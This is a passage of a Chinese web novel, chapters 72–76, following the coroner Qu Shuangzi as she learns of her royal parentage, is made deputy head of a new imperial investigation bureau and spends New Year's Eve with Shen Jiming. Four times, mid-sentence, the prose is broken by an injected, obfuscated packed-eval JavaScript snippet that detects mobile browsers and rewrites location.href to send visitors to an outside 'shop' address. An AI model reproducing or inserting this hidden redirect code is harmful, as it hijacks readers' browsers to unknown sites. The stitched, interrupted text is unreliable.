“安心查你的案子,大理寺近来就靠你和长风了,”曲霜姿认真且郑重地嘱咐,“百姓若遇不公,唯一能指望的,就是你们了。” 沈霁明怔然,半晌才开口应道:“好。” 72. 司察天下事 这是曲霜姿不知道第多少个彻夜难眠的夜晚。 她无数次想起余肃叔叔背对着自己,冷声开口。 “你的生父是当朝圣上,你的母亲曾是名动盛京的贵妃娘娘。”这话像一颗巨大的钉子,把曲霜姿牢牢钉在原地无法动弹。她茫然地看向余肃,试图从他的侧颜寻到开玩笑的证据,然而没有。 余肃神情悲戚,嘴角一抹若有若无的苦笑。 “她原本也是幸福的,只是人心善变,深宫难挨。有一天,她哭着找到我,求我带着她、还有她肚子里的你离开。” 那时,他心中欣喜与同等的心疼揉作一团。 他做了个决定,要离开这个吃人不吐骨头的地方,远离一切纷扰和是非。 “但是她还是没有躲过劫难,还是离我们而去。” “我能感受到,她活得不快乐,”余肃回头深深看了曲霜姿一眼,“也许离开便是解脱,还好,她还留你在人世间。” 曲霜姿眼眶含泪,“不管我的生父是谁,您都是我唯一的阿爹。”余肃笑着走过来,抚摸她的长发,“好,有阿爹在,断不会让你再受伤。” 余肃叔叔说,曲婧是否为温孤昪派人杀害还未可知,不管是要寻找证据,还是报仇雪恨,他都永远会站在曲霜姿身边。 但曲霜姿依旧过不去心里的坎儿。 如果说害她阿娘的人是神仙,是魔头,她都不会有人任何畏惧,但那个人是她的生父,她就没了肆无忌惮恨他的底气。 她原本只需要站在百姓身前,只需要坦坦荡荡地站在温孤皇室的对立面,然而现在她却和温孤皇室流着相同的血脉。 她原本希望报完仇就离开盛京,云游四海、造福四方,就像她阿娘一样。 但曲霜姿越来越觉得,自己已经深陷一张巨网当中,再难脱身了。 这种感觉,叫她几欲作呕。 曲霜姿伏在床边咳嗽,甚至咳出血来。她突然很想看看夜晚的天空,阿娘曾告诉她,离开的亲人都会化作一颗星星,在夜空中注视着人间。 她艰难地起身下床,骤然失了力,重重跌在地上,疼痛致使她几乎失去了意识,不知过了多久才缓过神来。 江梅听到动静推门而入,看到地上的曲霜姿吓出一身冷汗,说话都结巴了,“你你你,你怎么掉下来的?” “没、没事,”曲霜姿尴尬地笑笑,笑容难看至极,“你去休息吧,我能自己起来。” 江梅扶她起来,将她上下检查一遍,确定伤口没有裂开才松了口气。 “抱歉啊,打扰你休息了。” “没有,我没睡。”江梅一边帮她盖好被子,一边面无表情道。 曲霜姿愣住,“你可是思念你阿姐?” 江梅没吭声,转身就要离开,曲霜姿心中歉意愈甚,开口道:“抱歉把你留在这里,你可以随时离开。” “你是主,我是仆,哪有主子天天和仆人道歉的道理。”女孩儿冷声回应,声音闷闷的,曲霜姿听出她话里为难,长叹一声,“小梅,你错了。于我而言,你就是朋友的妹妹。你姐姐让你跟着我,也是为了让你多学些本事,将来能够靠自己立足盛京。” “可我来了这许久,每天都在余府做活,哪里学到东西了呢?”江梅话音里染上委屈和恼怒,在余府做活虽还不如在家劳作辛苦,可她跟着曲霜姿,断然不是为了这样的生活。 “你年纪还小,且我在大理寺也不过是个小小的仵作,我只想再等等……” “哦,”江梅咬唇,“我知道了。” 女孩儿小跑着离开,曲霜姿看着其背影无奈地笑笑。她一直知道江梅没有坏心,不过十三岁的小女孩儿,从小又要强,她自然得多容忍着些,何况江梅干活利索、反应又快,连余肃都偶尔夸赞过她。 曲霜姿喘了几口气,再欲起身,房间的门蓦然又开了。 她和气喘吁吁的江梅大眼瞪小眼,女孩儿不自在地移开目光,脸蛋泛着红晕,兀自推进来一辆轮椅,“你不是想出去看看吗?” 曲霜姿刹那间失笑。 — 曲霜姿彻底养好身子便已到了腊月,她这断断续续躺了许久,只觉一把骨头都要闲得散掉了。 她百无聊赖地翻看卷宗,“沈霁明这桩案子倒办得不错。” 林寻雁笑了几声,“你要夸他得让他听见才好,沈大人听了必然欢喜至极。” “我躺了两个月,你怎么话都变多了?”曲霜姿咳嗽两声,赶忙转移话题,“不过这魏欣当真是女中豪杰,只可惜一身本领用错了地方。” 魏欣即是那马戏团首领最信赖的手下,面对审讯依旧镇定自若,但她跟着玄英荣也是为了给家人报仇,如今牢狱之灾在所难免,只望她出来后能够坚持本心、安身立命。 “对了,霍迁最近怎么样了?”曲霜姿好奇地问。 “他啊,他虽洗清了嫌疑,但霍家的案子还没完,他整日里也不来大理寺,”林寻雁皱了皱眉,“你关心他做什么?你卧床养伤他也没看你几次。” 曲霜姿摇摇头,“霍家在劫难逃,他必然分身乏术,”她长叹一声,感慨道:“真是世事无常啊。” 她刚捧起盏热茶往口里送,外头便慌慌张张跑来个小捕快,“曲大人,圣旨!” 少女挑眉,缓缓走了出去,林寻雁也往外走,拉着她的手直道喜:“恭喜你了,立下大功一件,圣上必然是要重赏你的。” 说实话,曲霜姿内心毫无喜悦,那样一个人,能赏她什么呢? “宣大理寺寺正沈无逆、仵作曲霜姿入宫觐见!” 曲霜姿眉头一皱,和沈霁明迅速交换了下眼神,这皇帝老儿又要搞什么幺蛾子,还要他们即刻入宫,曲霜姿不想踏入皇宫一步。 毕竟,那是她阿娘拼命想要逃离的地方。 可兜兜转转,命运造化弄人,她居然又回到了盛京,甚至和皇宫诸人关系更加密切。 御书房内,温孤昪、余肃还有大皇子已经恭候二人多时了。 “曲霜姿,”龙椅上的男人饶有趣味地打量着少女,“我已见过你的真容,没必要再遮遮掩掩了吧。” “余肃啊余肃,你也真是可笑,找个替代品来弥补遗憾,可笑至极。”温孤昪冷嘲热讽道,除了曲霜姿和余肃听懂了这话,其余二人都无比茫然。 想必是温孤昪发觉曲霜姿与白婧容貌相像,便以为是余肃耐不住寂寞,照着白婧找来个替代品。 面纱之下,曲霜姿咬牙冷笑,她面无表情地摘下面纱,直勾勾地与温孤昪对视。温孤昪没有料到她胆子这样大,更没料到天底下竟然有这样像的人,男人被曲霜姿惊得哑口无言,半晌说不出话。 余肃咳嗽一声,示意曲霜姿勿要冲动,少女这才不情愿地垂头。 温孤昪扶额正色,“你们三人,曲霜姿最是劳苦功高,朕知你三人各有所长,且都一心为民,故有意建立御察司,听命于朕,司察天下大事。”他顿了顿,“你们意下如何啊?” 见三人面面相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192546|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觑,不可置信。 男人再次开口,“上至大理寺,下至地方各府衙,任何疑难杂案都需上报御察司,从深宫六院至边关雪原,你们便是朕的双手,代朕处理一切事务。” 曲霜姿愕然抬头,余肃向她点了点头。 虽然设立御察司听起来困难重重,可能性甚小,但大理寺可以说已沦为世家子弟过家家的场所,如果真的有一个机构能够管天下诸案,能查天下真相、洗刷天下冤屈,那么百姓安居乐业,大安富强兴盛便指日可待。 三人跪下谢恩。 温孤昪昕悦点头,建立御察司,更是对温孤皇室权利的加强,能够有效防止世家称霸一方,对皇室造成威胁。 “那便特命大皇子温孤嘉宥为御察司司主,你二人皆为副司主,望你们能够尽职尽责、不负天下百姓的期望。” “还想要什么恩赏,大可以直接提出。” 曲霜姿往前挪一步,直言不讳道:“恕臣直言,大安之弊病在官无实才、无真心,为官者不为大安、不为百姓,只为贪图享乐、一己私欲,长此已久,百姓苦矣。” “大安苦矣。” 温孤昪脸色瞬变,眸光冷了几分,半晌才道:“那你以为呢?” “微臣以为,要广办兴学,提高官员素质,办案能力。”曲霜姿继续道:“还要设立律法,吏治清明者赏,假公济私者罚。” 温孤昪眼里多了些赞许,思忖片刻后点了点头,“可,还有吗?” 曲霜姿眼睛一亮,猛然跪伏在地,“谢陛下,这最后一件,最为重要。” “哦?”温孤昪被她勾起了兴趣,神情都专注起来,“说来听听。” “陛下明察秋毫,必早已发觉,盛京半年来桩桩案件,都与女子脱不开干系,”曲霜姿心头莫名畅快,郑重地一字一句道:“被迫与亲子分离,生育女儿的简亲娇。” “被蒙骗玷污后服毒自尽的杨静好。” “为王淮波迫害的几名女子。” “丈夫入狱后,难以生存的安绫。” ……她细细数来,不觉悲从中来,言辞愈加恳切,使在场一众男子皆为动容。 曲霜姿再拜服于地,“陛下,无数遭到迫害,被逼上绝路的女子,无数生活艰难,无法立足于世的女子……歌姬舞姬名动四方、技艺精湛,世家女子琴棋书画、样样精通,但女子,本该会的更多。” “她们与男儿一样,都皆有所长,应该有读书的权利,应该有在街市上买卖交易的权利,应该和男儿一样,有发挥自己才能,为国效力的机会。” “如我,如林寻雁,都是这世间极为幸运的女子。” “如若臣没有沐千万女子之血查清数案,亦不会有今日面见圣上,讨要恩赐的机会,”少女的眼里燃着灼灼的火光,像是要把整间御书房点燃一般。 哪怕知曲霜姿如余肃、沈霁明也难免被这样真切的言语而打动。 余肃躬身道:“陛下,臣觉得小女所言极是,大安是百姓的大安,是所有男子和女子共同的大安,只有百姓幸福,我大安才是真正的昌荣大国。” 沈霁明和温孤嘉宥接连附和。 温孤昪宽袖下的手微微颤动,他觉得自己是疯了,居然真的从面前少女的身上看到故人年轻时的影子,他一时间头痛欲裂,强忍着咬住唇,近乎要把唇咬出血来。 他久久未言,久到曲霜姿眼里的光都要熄灭。 温孤昪长舒一口气,动了动唇,沉声道:“尚可一试。” 73. 是福还是祸 “大胆!谁给你们的胆子,敢抄本官的家!”吊梢眉、细长眼的男人目眦欲裂,恨不得将眼前的小妮子生吞活剥,“我要见圣上!我要见霍大人!” 少女冷哼一声,眯着笑眼看他,“霍大人泥菩萨过河,自身难保,您见他有何用?还是说——霍大人的话能比圣旨还管用?”她慢悠悠地甩出一枚令牌,金丝楠木之上,两个朱红的字赫然在目。 御察。 温孤昪于朝廷上宣布成立御察司,引起百官惶恐不安,接连上奏劝阻。余肃力排众议,与温孤昪短暂地站在了同一战线上,“诸位觉得此事不可,无非是觉得此三人不堪重任。” “那各位觉得何人有能力呢?你们自己,还是家中子侄?”余肃似有似无地嗤笑一声,“御察司司主由陛下钦点,是宅心仁厚、深得民心的大殿下。” “二位副司主在大理寺任官以来,惩奸除恶、查办要案、造福百姓,天下人皆有目共睹。” 他不虞地看向带头挑事的大臣,“您行吗?” “还是有人觉得,平大安于乱象、救百姓于水火,并非要紧之事,可有可无?”众人鸦雀无声,余肃心满意足,抬眸冲温孤昪挑了挑眉,他微微俯身道贺:“陛下圣明!” 至此,无人再敢有异议,只得顺从恭贺。 “你个毛都没长齐的黄毛丫头,拿这鸡毛当令牌!要玩过家家就回大理寺去,来我府上作福作威是要如何?”男人还是无视曲霜姿,一脸不服气,唾沫星子几乎要喷到曲霜姿脸上。 曲霜姿亦不耐烦了,不愿再与他浪费时间,她抬手示意,立刻从她身后冲来一批侍卫将男人押住。 “黄大人,您还是文官呢,怎么言语如此粗鄙不堪呢。”少女踱步到他身前,尾音上扬,像是在漫不经心地说着什么俏皮话。 她弯腰与男人对视,目光却极为锐利,黄大人身子一僵,只觉脸上有什么东西拍了上来。 冰冷入骨。 曲霜姿拿着令牌在他脸上拍拍,而后又嫌恶地用帕子将令牌擦干净,“还是说您徒有虚名,只懂得如何贪图享乐、搜刮民脂民膏?” 男人的腿瞬间软了,整个人失魂落魄地瘫倒在地,曲霜姿咬牙下令:“拖下去。” 她骤然松了口气,恍惚地看着手里的令牌,如此沉甸甸的死物,却象征着比其本身沉重千百倍的权利与责任,不知到底是福还是祸。 黄府门口围满了不明就里的百姓,曲霜姿大踏步走出去,装作坦然地举起手中令牌,“各位,我奉圣人旨意执掌此令,尔等若有不公皆可上报,各地府衙也好、大理寺也罢,我御察司都能为大家主持公道。” “好!好啊!”人群中爆发出喝彩,曲霜姿嘴边也不自觉地浮起抹笑容。 沈霁明在御察司等她,远远看她心情不错,便迎上来玩笑道:“曲大人好生厉害呀,沈某自愧不如。” 曲霜姿没搭理他,伸手接过乐知和江梅送上来的手炉及热茶,往日此时,长风都应该在院里练剑,现下却不见他身影。少女一口茶没来得及咽下,便奇怪发问:“长风呢?” “审人呢,最近抓的人太多,他都忙不过来,”沈霁明答完,眼底闪过抹弧光,“你要找人和你切磋射艺吧,不一定要找长风啊。” 他就差没把“找我”两个大字写在脸上了。 曲霜姿无奈扶额,“你倒是清闲。” “陛下许我入御察司可不是为了让我尽忠职守的,”他压低声音,似乎话里还夹杂一声叹息,“不过陪你练箭还是能的。” 曲霜姿皱了皱眉,吩咐道:“取我的弓箭来。” 自她身体大好后,她就软磨硬泡地求着余肃教自己射箭,谁料余肃早就做足了准备,拿出一把上好的弓箭,让曲霜姿赐名。 盘龙春晓,曲霜姿左思右想,都无法割舍这个名字。 她细细抚过弓身,握住弓体中青玉包裹处,触手温润,曲霜姿毫不迟疑地搭弓射箭,箭羽如一只青鸟破空翱翔,深入草靶。 虽未中靶心,但气势如虹也格外惊人。 乐知和江梅用自己的俸禄也买了一把弓,不甘示弱地学习起来。 曲霜姿倒兴致缺缺地收了弓箭,沈霁明不可思议,忧心询问:“怎么,今日身体不适?还是心绪不宁?” “要不要找大夫看看?” 曲霜姿摇摇头,没有回答,“跟我去个地方。” 沈霁明一路跟着她行至国子监,只听书声琅琅,格外悦耳,依稀还能听见女子柔声细语地跟读。 少女久久驻足于门外,目光落在屋内少有的几个女子身上,不愿离开。 “这女子入学才刚刚实行,你放心,未来会有更多的女子都能入学堂、学知识、甚至入官场!”沈霁明连忙安慰,只是这安慰不可避免地底气不足。 曲霜姿苦笑着摇头,“咱们去看看寻雁吧。” 林寻雁原是想跟着曲霜姿来御察司就职的,眼见仵作一职太过精细晦涩,她知难而退,一心只想学习武术,以发挥安厄之能,保护重要之人。 只可惜林父弗许,将她人关了起来,还把她的剑都藏了。 “你说,嫁入皇室就是好的嘛?”曲霜姿不解地问,沈霁明知晓她说的是林寻雁,但心中还是一惊,他沉声道:“世家联姻是为常态,女子的婚姻往往也是世家稳固地位的工具。” “那怎么能行?”曲霜姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14209244|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攥紧拳头,她转头看向沈霁明,认真问道:“那我呢,我如今也算是世家小姐,你觉得我该嫁入皇室,为余家光耀门楣吗?” 沈霁明这才反应过来,出了一身冷汗,“你生性自由不羁,不该困在宫里。” “双标男,”曲霜姿轻声吐槽。 “什么是……双标男?”沈霁明小心翼翼地开口。 “就是说,同一个问题,放在不同人、不同事上面,就会有不同的观点和看法,”曲霜姿居然真的认真地解释起来,末了又质问道:“你说凭什么我得自由?那这世界上谁人不想要自由,你不想吗?” 男人若有所思地点点头,“我懂了,原就是这个道理,女子的婚姻本该由自己做主。” 曲霜姿欣慰地点点头,慨叹道:“孺子可教也。” 沈霁明失笑,“曲夫子教得好。” “你最近开朗了不少吗,不再是从前那个大冰块儿喽。”曲霜姿心情好了许多,看着男人开始插科打诨。 “我怎么就是冰块儿了?”沈霁明无奈反驳。 曲霜姿伸出食指指了指他的心口,“我当初还以为你的这里都是冰块做的呢。”她话音刚落,面前的男人便径直握住了她的指尖,男人手心冰冷。那股凉意逐渐彻底包裹住曲霜姿,沈霁明握住她的手,放在自己胸前。 少女瞪大眼睛,茫然无措,“你这是作甚?” 沈霁明笑着眨眨眼,眉眼间仿佛含着池温泉,“不是冰块做的。” 曲霜姿迟钝地感受到,男人冰冷的手,微温的胸口,还有那颗跳动不已的心脏。 她慌乱收回手,支支吾吾道:“知、知道了。” “但你是炽热的。”沈霁明轻轻道。 曲霜姿脸上瞬间火热一片,她再不敢直视男人的眼睛,落荒而逃。 少女再回御察司时,已然恢复常态,气定神闲。江梅看她一副得意洋洋的模样,与离开时判若两人,江梅莫名其妙道:“你这是去哪儿了?” “接着。”曲霜姿嘿嘿一笑,从袖中掏出一物递给江梅。 沈霁明在一旁眼尖地认了出来,“林寻雁的剑?” “是,”曲霜姿抽出利剑,拿起来比划了两下。 “你偷的啊?”江梅嘴角抽了抽,跟着曲霜姿这段时间,她已经大概摸出了这位主儿的习性。 一言蔽之,即为“正得发邪、而又邪得发正”。 曲霜姿啧啧两声,“什么叫偷的,我这是帮寻雁取了把剑而已,明天就把寻雁也带出来。” “先别说了,有人等你呢。”乐知走了过来,淡淡看了二人一眼,又缓缓移开目光。 曲霜姿有些纳闷,“谁?” 74. 风雪夜归人 “曲大人。”霍迁神色不自然地从屏风后走了出来,他冲曲霜姿有礼地躬身作揖,曲霜姿愣住,她是没想到霍迁会在此时来寻她。 霍相如今已经锒铛入狱,与其亲近的大臣都被查出行径不端,贪污腐化,霍家就此是再翻不了身了。 “我父利用权力之便,纵容他人剥削压榨百姓,大肆敛财,又在朝中结党营私,甚至和敌国有所勾结,这些他都认了,”霍迁眼眶微红,话语却没了从前的吊儿郎当,反而有些铿锵有力,“可我总觉得他不是那样的人。” “但无论如何,事已至此,我都要感谢你对我霍家的帮助,”他郑重俯身拜谢,“只是我过往实在不成器,如今家破人亡,却未有谋生之法。” “父亲入狱秋后问斩,母亲承受不住大病而去,但我还有小妹要养活,我……”他攥紧拳头,膝弯一软就要给曲霜姿跪下。 “别!”曲霜姿头脑发昏,连忙后退,堪堪撑住身后的桌子。 第一次见霍迁的场景还历历在目,矜傲华贵的翩翩公子却变成如今落魄颓靡的男人。 “你不是惯常与大皇子,还有那些世家子弟交好吗?他们都……”曲霜姿说不下去,失言半晌,慢半拍地反应过来。 贫贱亲戚离,富贵他人合。 世态炎凉,一向如此。 “你想来御察司,我做不了主,若你愿意,我可以帮你在大理寺谋个捕快的职位。”少女捏捏眉心,多少有些于心不忍,可是她不得不这样做。 御察司诸人,都是他们精挑细选选拔出来的,虽仍是贵族公子居多,但也不乏有平民子弟和女子。 这个例,是破不得的。 曲霜姿轻叹一声,叹息化在寒风中,随之呜咽。 爆竹声中一岁除,春风送暖入屠苏,春风来得晚些也无所谓,爆竹声已然响彻云霄,打破了寒冬的死寂。 余府上下欢笑阵阵,曲霜姿爬上梯子挂灯笼,乐知紧张地扶着,“小姐,小心摔了。” 曲霜姿纵身跃下,对梯子视若无睹,她叉着腰看着自己贴的对联、挂的灯笼,不禁感慨道:“时间真如白驹过隙。” 这是她人生中最最难忘,也是最为难熬的半载。 她一心想着为阿娘报仇,本以为只是和哪家大户人家,又或者是什么神秘组织的私仇,可是她却到大理寺做起了仵作,一次次勘破诡案。 但她拨开迷案看到的,反而是更混沌的浓雾。 这个世界,越来越真实地展现在她面前,以至于和她一贯认为的大有差池,让她觉得自己本不该生活在这世上。 换言之,她与这里格格不入。 她眼下成为了万众瞩目的御察司副司主,在温孤昪设立的理学院定期教授诸生验尸知识,她已经成为了民间百姓口中的“天下第一仵作”。 但曲霜姿毫无喜悦,反而是有种更无能为力、德不配位的愧疚之情。 她现下知晓了自己的真实身份,知晓了曲婧的死和温孤皇室有关,却更加没了复仇的头绪。 她嗳叹一声,正好被路过的江桃听见。 “小姑娘家家的,叹什么气啊,好歹是一岁新春,给几分薄面笑笑吧。”江桃说起话来依旧是神色动人,摇曳生姿,却没有了刻意哄人的媚态,看着明艳大方。 曲霜姿笑得走去,“今天我们可要尝尝桃姐姐的手艺了,还有桃姐姐酿的复春酒,想必是好喝至极的。” 江桃哈哈笑着诺了,“我的小酒馆能开到如今,也多亏了余家照拂,等我做大做强,一定给你分红啊。” 曲霜姿在江桃办“复春栖”之时就一路帮扶,酒馆名都是她帮忙起的,她还入了股。 她笑盈盈地饭桌上举起一杯酒,“我不懂经商,复春栖能在盛京立足全凭你自己的努力,我只是投了本钱,其余时间我都忙着查案,也没帮上什么大忙。” “世事一场梦,山栖冬复春。”曲霜姿捧着酒杯喃喃,嘴边犹挂一抹浅笑。 “复春栖意味着新生与安定,我愿桃姐姐也能重获新生与自由,不被这俗世所束缚,生活幸福美满,万事如意。”她说罢,便要将酒一饮而尽。 余肃轻咳一声,用眼神止了她。 曲霜姿叹气,“可惜我病酒,尝不了这甘甜可口的滋味了。” 众人皆是一惊,江桃眼眶已然红了,她取过曲霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240003|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿手中酒杯一饮而尽,“无妨,我们好姐妹不分你我。” “我多谢你,让我重获新生。” 如玉的面庞划过一道清泪,江桃郑重抬眸看向余肃,“余大人,我曾经确实钦慕于你,但是也确确实实想利用你让我们姊妹俩过上好日子,给你造成了很大的困扰。” “我江桃,向您道歉,今后您来我们复春栖喝酒免费,”她再满饮一杯,“我一定要成为盛京最大的酒楼掌柜,酿出全盛京最好的酒!” “也要酿一种让你喝了不病酒的酒。” 温香楼如今不再是霍家的产业,酿酒技术也大不如前,盛京其他酒家也总算是有了出头之日。 曲霜姿以茶代酒,眼眶也有些湿润。 在此间坐着的人,都是无依无靠之人,靠着最后一点点信念与希望存在于世,互相傍近取暖。 不知道余千帆此时此刻漂泊在外,可有遇到能够依靠陪伴的人。 不知道大安的百姓,此时是否又能平安喜乐地坐在一起,享受团聚的天伦之乐。 思绪无限飘远,曲霜姿最后想到一个人,她想去见见他。 夜彻底深了,天下无不散的筵席,众人互相道了贺,便相继离去。只有寒冬似乎不甘心就此被暖春替代,肆意咆哮着冷风,还让冷风携来了片片雪花。 曲霜姿溜出余府,绕了隐蔽的近路来到沈府。 沈霁明今日按理该参加宫宴,不知是否回来,曲霜姿从后墙翻了进去,这府邸竟没什么人把守,她一路行至沈霁明的院子里,一路上都是昏暗无比,仿佛从未有人居住般。 她只见院里小桌还放着一壶不知是茶还是酒的物什,上面落满了雪,青色的壶体像是结了层霜。曲霜姿无聊至极,细细把玩,只觉上面的花纹样式她从未见过,精美无比,和盛京的容器更不一样,倒和荨州那边的有些相像。 神不知鬼不觉,曲霜姿被壶里的味道勾去了魂魄,她仰头倒入口中,果真是清冽甘甜,比那温香楼的酒还要美味。 身后咯吱作响,似是踩木之声,又像是踏雪之音。 少女缓缓回头,透过漫天鹅白,看到了披着一身雪的沈霁明。 75. 万籁俱寂时 沈霁明回府时身心俱疲,到了自己院子里时,看到的就是这样的场景——少女穿着朱樱色的衣裳,站在一片茫茫之中,似乎是一把永远不会被浇灭的火,但这把火此时此刻又温柔而安静地燃着,叫人看着就想要靠近,以至于让沈霁明生出贪恋之心。 他不由自主地靠近少女,轻声唤她的名字。 曲霜姿没有听清,懵懵懂懂地回过头来,似乎花了好一阵子才认出他来,面上牵起抹微笑,“沈霁明,欢迎回家。” 漫天大雪间,世界仿佛就只剩他们二人。 二人互相对视,一时间居然默契地没有说话,他们不约而同地感受到久违的平静与心安。 沈霁明半晌才发觉少女的神情不对,眼尖地看到曲霜姿手里提着的酒壶,酒水正缓缓地往雪地里淌去。 “你喝酒了?”沈霁明连忙扑上前去,夺下她手酒杯,顺带将她衣衫上的雪花抖落,把曲霜姿严严实实地护在身下。 曲霜姿呆住,慢半拍地反应过来,原来自己喝的是酒。 “曲霜姿、霜姿,你怎么样了?”沈霁明语气急切,着急地把她拉至屋子里,屋内烛火被沈霁明匆匆点亮,他半跪在榻前,细细观察起少女的脸色。 曾几何时,曲婧也曾把她搂在怀里,关心她的身体,眼中饱含心疼与焦急,曲霜姿恍惚间想起了阿娘,泪水瞬间蓄满眼眶。 “我没事,”她嗫喏道,“新岁将至,我怕无人陪你,你会孤单。” 其实她又何尝不孤单,余肃叔叔的家在盛京,江桃、江梅姐妹情深,乐知又不知为何和她生疏许多,这些每时每刻都在提醒她——她没有家了。 沈霁明心酸无比,同时又庆幸那酒不是什么烈酒,这是他家乡那边的一种酒,由于酿造工艺不同,喝起来其实更像是浆汁。沈霁明这些日子闲暇时常鼓捣酿酒,在此酒基础上精进改造,希望有朝一日能让曲霜姿喝到。 但这壶还并未如他所愿,还未改造成功。 “我不孤独,你放心吧,你有什么不适一定要告诉我。”他眼神不敢从曲霜姿身上移开半分。 曲霜姿确已有些晕乎,但无伤大雅,她还没忘了自己此行的目的。她白净的脸上浮起两抹红云,为她平添几分乖巧,又忽得破开一个笑容,“给。” 曲霜姿从斗篷下小心翼翼地捧出一个花灯模样的物什,“我亲自做的,你上次不是送了我礼物吗?有来有回嘛。” 沈霁明一惊,他认出来了,那是一个不小的用竹筐编的火萤。曲霜姿手艺精巧,做得有八成像,两侧是薄如蝉翼的翅膀,尾部还亮着烛光。 “为什么是火萤?”他怔然发问,对怀中少女的心血爱不释手。 “哼哼,”曲霜姿骄傲地仰起脑袋,“幼时你同我讲过,说你们那里夏夜里会有很多火萤呢。” “你竟然还记得?”沈霁明只觉呼吸困难,他不可置信地发问。 “你给你的侍女取名流萤,难道不是因为想家的缘故吗?其实我从前每次看到火萤都会想到你,后来许久未见,便也忘了,但还好想起来了。”曲霜姿若有若无地叹息,笑容黯淡下去,仅一双眸子亮的出奇,“你喜欢吗?” 沈霁明点点头。 “你是余府贵女,来我这里算什么?”他深深看着曲霜姿,眼底浮起抹戏谑,他自嘲地笑笑。 “算我们有缘分。”曲霜姿笑弯了眉眼,认真地一字一句道。 话罢,她的眼皮子就打起架来,听不清沈霁明在她耳边说了些什么。 但是,为什么要落泪呢? 曲霜姿想要伸手替他揩掉,但紧接着便彻底失去了意识。 沈霁明看着她熟睡的脸庞,又哭又笑,面目狰狞,他咬牙忍住泪水,身体却无论如何都无法停止颤动。 万籁俱寂下,他痛苦不堪。 为什么要让我遇到你。 我们的缘分,早晚会散尽。 — 翌日,曲霜姿茫然地从自己房间醒来,身边是江梅和乐知,她揉揉眉心,挣扎着爬起,“我怎么在这?” 江梅无奈挑眉,“这是余府,你不在这儿在哪?” 曲霜姿四处张望,有点怀疑人生,她兀自呢喃道:“我这是做梦了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267997|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“对,火萤花灯!”她猛得想起来,连忙转头问乐知:“乐知,我的火萤花灯你看到了吗?” 乐知茫然地摇摇头。 “好了,快收拾收拾洗漱吧,”江梅拽了拽她,“今日还要贺岁呢。” 曲霜姿还是纳闷儿,她攥紧眉头开始换衣服,却从身上和枕头下分别摸出两个红喜袋,里面还装着几枚钱币,钱币沉甸甸的,一个喜袋里的钱币铸着“喜乐安宁”,另一个则铸着“去殃除凶”。 乐知和江梅皆不明所以,曲霜姿知道大安并没有互送红喜袋的风俗,但曲婧曾告诉她,在自己的家乡,长辈在除夕夜都会给孩子发红包,以求平安。 所以她每年都能收到两个红喜袋,一个是阿娘送的,一个则是余肃叔叔学着阿娘送的。 她湿了眼眶,将钱币放在心口。 怎么如今还是有两个红喜袋呢? 也许是余肃叔叔为了弥补她遗憾,所以送了两个罢,她叹了口气。 待她整装待发,长风已经在院里等候多时了,少年昨夜无论如何也不肯和他们一起过节,今日一大早却赶着来贺岁。 曲霜姿上前拍拍他的肩,“新的一年继续加油,阳光些,少年人嘛,不要整日死气沉沉的。” 长风身上总是有种江湖侠气,以至于让人误会那是少年气,曲霜姿却能敏锐地觉察出来,长风的心思深沉似海,仿佛背负着什么深仇大恨,给人少年老成之感。 “曲大人倒是成熟,如今也爱说教人了。”长风皮笑肉不笑地扯起抹笑容。 曲霜姿摆手,“好了,好了,惟愿新一年安宁平静些才是。” “怕是如不了你的意了,”长风叹气,淡淡开口,“昨晚我整理了各地新送来的卷宗,发现各处都有要案未破,仍有百姓……”他忽得意识到此时不是说这些的时候,连忙止住话音,缄默不言。 江梅皱眉,她和乐知咬耳朵道:“完了,今日这岁却是贺不成了。” 乐知还没理解她这话的意思,但下一刻,如江梅所料,只见曲霜姿眉头紧锁,神情严肃道:“什么案子?现在就讲于我听!” 76. 焕万物新颜 长风拗不过,只好开口:“是奉州的案子。” 此话一出,曲霜姿的两弯眉瞬间拧作一团,她不可思议道:“奉州?”竟是余肃谎称养病的奉州?曲霜姿曾跟着阿娘和余肃去过奉州,余肃在那处也有好些产业,当真是天灵地杰、物华天宝的好地方。 